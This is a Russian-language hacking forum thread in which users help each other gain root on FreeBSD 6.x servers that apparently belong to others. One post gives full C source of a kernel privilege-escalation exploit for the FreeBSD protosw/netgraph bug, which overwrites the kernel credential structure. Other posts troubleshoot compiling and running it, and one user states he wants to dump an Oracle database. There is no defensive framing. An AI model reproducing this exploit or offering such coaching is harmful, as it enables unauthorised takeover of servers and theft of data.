Повышение привилегий в FreeBSD 6.2

Discussion in 'Песочница' started by TreV@N, 7 Oct 2009.

  1. TreV@N

    TreV@N Elder - Старейшина

    Joined:
    14 Jul 2008
    Messages:
    135
    Likes Received:
    48
    Reputations:
    19
    Здравствуйте.Есть сервер с frebsd 6.2 и exploit .Мне нужно повысить свои привилегии до root'a.Вот только не знаю как exploit'om пользоваться.Подскажите как это осуществить.
     
    2 people like this.
  2. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    https://forum.antichat.ru/showpost.php?p=217087&postcount=6
     
    1 person likes this.
  3. TreV@N

    TreV@N Elder - Старейшина

    Joined:
    14 Jul 2008
    Messages:
    135
    Likes Received:
    48
    Reputations:
    19
    Спасибо.Но почему-то не получается.
     
    #3 TreV@N, 7 Oct 2009
    Last edited: 7 Oct 2009
  4. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    постой, дай угадаю, наверное не получается потому что там тоха пишет про никсы, а у тя фряха
     
  5. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Значит патченная фряха у тебя.
     
  6. TreV@N

    TreV@N Elder - Старейшина

    Joined:
    14 Jul 2008
    Messages:
    135
    Likes Received:
    48
    Reputations:
    19
    http://www.milw0rm.com/exploits/9488

    А где можно про фряху почитать?
     
    #6 TreV@N, 7 Oct 2009
    Last edited: 7 Oct 2009
  7. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    TreV@N, на версии смотри внимательнее - у тебя 6.2, а эксплоит для FreeBSD <= 6.1
     
  8. TreV@N

    TreV@N Elder - Старейшина

    Joined:
    14 Jul 2008
    Messages:
    135
    Likes Received:
    48
    Reputations:
    19
    The bug was fixed in 6.1-STABLE, just before release of 6.2-RELEASE, but
    was not recognized as security vulnerability.
     
  9. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    этот попробуй, правда он для 6.3, но мало ли:

    Code:
    /*
     * This is a quick and very dirty exploit for the FreeBSD protosw vulnerability
     * defined here: 
     * http://security.freebsd.org/advisories/FreeBSD-SA-08:13.protosw.asc
     *
     * This will overwrite your credential structure in the kernel. This will 
     * affect more than just the exploit's process, which is why this doesn't
     * spawn a shell. When the exploit has finished, your login shell should
     * have euid=0. 
     *
     * Enjoy, and happy holidays!
     *  - Don "north" Bailey ([email protected]) 12/25/2008
     */
    
    #include <sys/mman.h>
    #include <sys/time.h>
    #include <sys/stat.h>
    #include <sys/proc.h>
    #include <sys/types.h>
    #include <sys/param.h>
    #include <sys/socket.h>
    #include <netgraph/ng_socket.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <errno.h>
    
    #define PAGES 1
    #define PATTERN1 0x8f8f8f8f
    #define PATTERN2 0x6e6e6e6e
    
    typedef unsigned long ulong;
    typedef unsigned char uchar;
    
    int
    x(void)
    {
    	struct proc * p = (struct proc * )PATTERN1;
    	uint * i;
    
    	while(1)
    	{
    		if(p->p_pid == PATTERN2)
    		{
    			i = (uint * )p->p_ucred;
    			*++i = 0;
    			break;
    		}
    
    		p = p->p_list.le_next;
    	}
    
    	return 1;
    }
    
    int
    main(int argc, char * argv[])
    {
    	ulong addr;
    	uchar * c;
    	uchar * d;
    	uint * i;
    	void * v;
    	int pid;
    	int s;
    
    	if(argc != 2)
    	{
    		fprintf(stderr, "usage: ./x <allproc>\n");
    		return 1;
    	}
    
    	addr = strtoul(argv[1], 0, 0);
    
    	v = mmap(
    		NULL,
    		(PAGES*PAGE_SIZE),
    		PROT_READ|PROT_WRITE|PROT_EXEC, 
    		MAP_ANON|MAP_FIXED, 
    		-1, 
    		0);
    	if(v == MAP_FAILED)
    	{
    		perror("mmap");
    		return 0;
    	}
    
    	c = v;
    	d = (uchar * )x;
    	while(1)
    	{
    		*c = *d;
    		if(*d == 0xc3)
    		{
    			break;
    		}
    
    		d++;
    		c++;
    	}
    
    	*c++ = 0xc3;
    
    	c = v;
    	while(1)
    	{
    		if(*(long * )c == PATTERN1)
    		{
    			*(c + 0) = addr >>  0;
    			*(c + 1) = addr >>  8;
    			*(c + 2) = addr >> 16;
    			*(c + 3) = addr >> 24;
    			break;
    		}
    		c++;
    	}
    
    	pid = getpid();
    	while(1)
    	{
    		if(*(long * )c == PATTERN2)
    		{
    			*(c + 0) = pid >>  0;
    			*(c + 1) = pid >>  8;
    			*(c + 2) = pid >> 16;
    			*(c + 3) = pid >> 24;
    			break;
    		}
    		c++;
    	}
    
    	s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
    	if(s < 0)
    	{
    		perror("socket");
    		return 1;
    	}
    
    	shutdown(s, SHUT_RDWR);
    
    	return 0;
    }
    
     
    2 people like this.
  10. ГОПnick

    ГОПnick Banned

    Joined:
    6 Oct 2009
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    отлично! где взял? мне как раз ещё и для 6.3 ещё нужен был!!
     
  11. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Экстрасенсов, знаете ли, тут нет, свои "почему то не работает" оставляйте себе. Есть конкретные ошибки \ проблемы - спрашиваем.
     
  12. BULLSHARK

    BULLSHARK New Member

    Joined:
    2 Mar 2010
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0

    Версия 6.3-RELEASE FreeBSD 6.3-RELEASE #5: Fri Oct i386 2009.

    Создал файл ex.c
    дал права chmod +x
    gcc ex.c -o ex
    Code:
    In file included from /usr/include/sys/proc.h:60,                  from ex.c:18: /usr/include/sys/ucred.h:71: error: `NGROUPS' undeclared here (not in a function) In file included from ex.c:18: /usr/include/sys/proc.h:78: error: `MAXLOGNAME' undeclared here (not in a function) /usr/include/sys/proc.h:78: error: variable-size type declared outside of any function /usr/include/sys/proc.h:598: error: `MAXCOMLEN' undeclared here (not in a function) ex.c:142:2: warning: no newline at end of file
    Подскажите где искать нужный эксплоит, думал слить базу Oracle кому не сложно в в пм аську скинте вместе расковыряем.
     
    #12 BULLSHARK, 12 Apr 2010
    Last edited: 12 Apr 2010
  13. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    пропатчен есс-но
     
  14. BULLSHARK

    BULLSHARK New Member

    Joined:
    2 Mar 2010
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Есть у кого экслоит под данную версию ?
     
  15. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    странно у меня на 6.3 не сработало:(
    правда я компилил прям из шелла...
     
  16. overxor

    overxor Member

    Joined:
    11 Sep 2009
    Messages:
    32
    Likes Received:
    9
    Reputations:
    0
    Дата перекомпиляции ядра еще ни о чем не говорит, не факт что админ наложил патч на ядро. Об этом обычно можно судить по постфикcу после версии ядра -p[1-9]. uname -r